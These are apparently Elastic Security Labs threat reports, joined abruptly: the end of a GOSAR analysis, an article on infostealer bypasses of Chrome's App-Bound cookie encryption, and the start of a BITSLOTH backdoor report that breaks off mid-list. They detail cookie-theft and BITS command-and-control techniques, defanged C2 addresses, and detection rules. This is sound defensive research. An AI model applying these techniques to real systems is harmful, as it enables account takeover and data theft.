ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.

HVNC

The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

• ResolveHVNCCommand
• ResolveGetHVNCScreen
• ResolveStopHVNC
• ResolveDoHVNCKeyboardEvent
• ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.

The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

• ExcuteCommand
• DoMouseScroll
• DoMouseRightClick
• DoMouseMove
• DoMouseLeftClick
• DoKeyPress
• CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.

Screenshot

The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

• CaptureFirstScreen
• CaptureNextScreen
• GetBitmapInfo
• GetBitmapInfoSize
• SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.

Observation

Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.

It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.

New functionality

The following table provides a description of all the newly added commands:

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Persistence
• Privilege Escalation

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Hijack Execution Flow: DLL Side-Loading
• Input Capture: Keylogging
• Process Injection: Asynchronous Procedure Call
• Process Discovery
• Hide Artifacts: Hidden Window
• Create or Modify System Process: Windows Service
• Non-Standard Port
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Obfuscated Files or Information
• Impair Defenses: Disable or Modify Tools
• Virtualization/Sandbox Evasion: Time Based Evasion

Mitigating REF3864

Detection

• Potential Antimalware Scan Interface Bypass via PowerShell
• Unusual Print Spooler Child Process
• Execution from Unusual Directory - Command Line
• External IP Lookup from Non-Browser Process
• Unusual Parent-Child Relationship
• Unusual Network Connection via DllHost
• Unusual Persistence via Services Registry
• Parent Process PID Spoofing

Prevention

• Network Connection via Process with Unusual Arguments
• Potential Masquerading as SVCHOST
• Network Module Loaded from Suspicious Unbacked Memory
• UAC Bypass via ICMLuaUtil Elevated COM Interface
• Potential Image Load with a Spoofed Creation Time

YARA

Elastic Security has created YARA rules to identify this activity.

• Multi.Trojan.Gosar
• Windows.Trojan.SadBridge

Observations

The following observables were discussed in this research:

References

The following were referenced throughout the above research:

• https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
• https://www.sonicwall.com/blog/project-androm-backdoor-trojan
• https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
• https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512

Appendix

Hashing algorithm (SADBRIDGE)

def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF
    
    return hex(result)

AV products checked in GOSAR

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

• STEALC/VIDAR
• METASTEALER
• PHEMEDRONE
• XENOSTEALER
• LUMMA

Key takeaways

• Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
• Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
• Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
• Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

• Remote debugging via Chrome’s DevTools Protocol
• Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
• Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

• Web Browser Credential Access via Unusual Process
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Browser Debugging from Unusual Parent
• Potential Browser Information Discovery

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Credential Access
• Defense Evasion
• Discovery
• Execution

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Steal Web Session Cookie
• Process Injection
• Credentials from Password Stores
• System Information Discovery
• Process Discovery
• Inter-Process Communication: Component Object Model

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.Stealc
• Windows.Infostealer.PhemedroneStealer
• Windows.Trojan.MetaStealer
• Windows.Trojan.Xeno
• Windows.Trojan.Lumma
• Windows.Infostealer.Generic

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://developer.chrome.com/release-notes/127
• https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.

The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.

Key takeaways

• BITSLOTH is a newly discovered Windows backdoor
• BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication
• BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes
• The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers

Discovery

Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.

• RINGQ
• IOX
• STOWAWAY
• GODPOTATO
• NOPAC
• MIMIKATZ
• PPLFAULT
• CERTIFY

One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.

We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.

Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.

After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (flengine.dll) inside the ProgramData directory. The actor then executed the music-making program FL Studio (fl.exe). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of FL Studio.

  c:\windows\syswow64\ntdll.dll!0x770841AC
  c:\windows\syswow64\ntdll.dll!0x7709D287
  c:\windows\syswow64\kernelbase.dll!0x76ED435F
  c:\windows\syswow64\kernelbase.dll!0x76ED42EF
  Unbacked!0x14EAB23
  Unbacked!0x14EA8B6
  c:\programdata\pl studio\flengine.dll!0x74AD2F2E
  c:\programdata\pl studio\fl.exe!0xDB3985
  c:\programdata\pl studio\fl.exe!0xDB3E5E
  c:\programdata\pl studio\fl.exe!0xDB4D3F
  c:\windows\syswow64\kernel32.dll!0x76B267F9
  c:\windows\syswow64\ntdll.dll!0x77077F4D
  c:\windows\syswow64\ntdll.dll!0x77077F1B

This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.

BITSLOTH overview

During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the Slaver component and the command and control server as the Master component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:

BITSLOTH employs no obfuscation around control flow or any kind of string encryption.

Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (.rdata).

This Simplified Chinese wide-character string translates to: Note: There is already a program running, do not run it again…

These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as EAGERBEE.

BITSLOTH code analysis

BITSLOTH is a backdoor with many different capabilities including:

• Running and executing commands
• Uploading and downloading files
• Performing enumeration and discovery
• Collecting sensitive data through keylogging and screen capturing

Mutex

BITSLOTH uses a hard-coded mutex (Global\d5ffff77ff77adad657658) within each sample to ensure only one instance is running at a time.

Communication

BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the Slaver component and the command and control server (C2) as the Master component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (rrrr_url). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.

Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.

rrrr_url216.238.121[.]132:8443
rrrr_url192.168.1[.]125:8443 
rrrr_url192.168.1[.]124:8443
rrrr_url45.116.13[.]178:443

One of the defining features of BITSLOTH is using the Background Intelligent Transfer Service (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been abused by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.

Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.

The BITS API is exposed through Window’s Component Object Model (COM) using the IBackgroundCopyManager interface. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.

After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:

• WU Client Download
• WU Client Upload
• WU Client Upload R

These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS job type. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.

Below are the Microsoft definitions matching the type of BITS job:

• BG_JOB_TYPE_DOWNLOAD - Specifies that the job downloads files to the client.
• BG_JOB_TYPE_UPLOAD - Specifies that the job uploads a file to the server.
• BG_JOB_TYPE_UPLOAD_REPLY - Specifies that the job uploads a file to the server, and receives a reply file from the server application.

After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (Microsoft Windows).

This download job sets the destination URL to http://updater.microsoft[.]com/index.aspx. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses SetNotifyCmdLine to execute the malware when the transfer state is changed.

Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.

At this point, the malware has now been configured with persistence via a BITS job named Microsoft Windows. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (C:\ProgramData\Media\setup_wm.exe)

Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the WU Client Download job. This request URL is generated by combining the MAC address with a hard-coded string (wu.htm). Below is an example URL:

https://192.168.182.130/00-0C-29-0E-29-87/wu.htm

In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (wm) appended by random characters.

Command functionality

BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (0x2) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.

In order to move fast, our team leveraged a helpful Python implementation of a BITS server released by SafeBreach Labs. By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.

The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called WU Client Upload. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as P.bin for processes or S.bin for services.

http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin

Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.

This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (wm9F0C.tmp) linked to the job.

If we look at the temporary file, we can see the collected process information from the victim host.

Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.

Command handling table

Backdoor functionality

BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.

Discovery/enumeration

A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:

• Retrieving process information via WTSEnumerateProcessesW
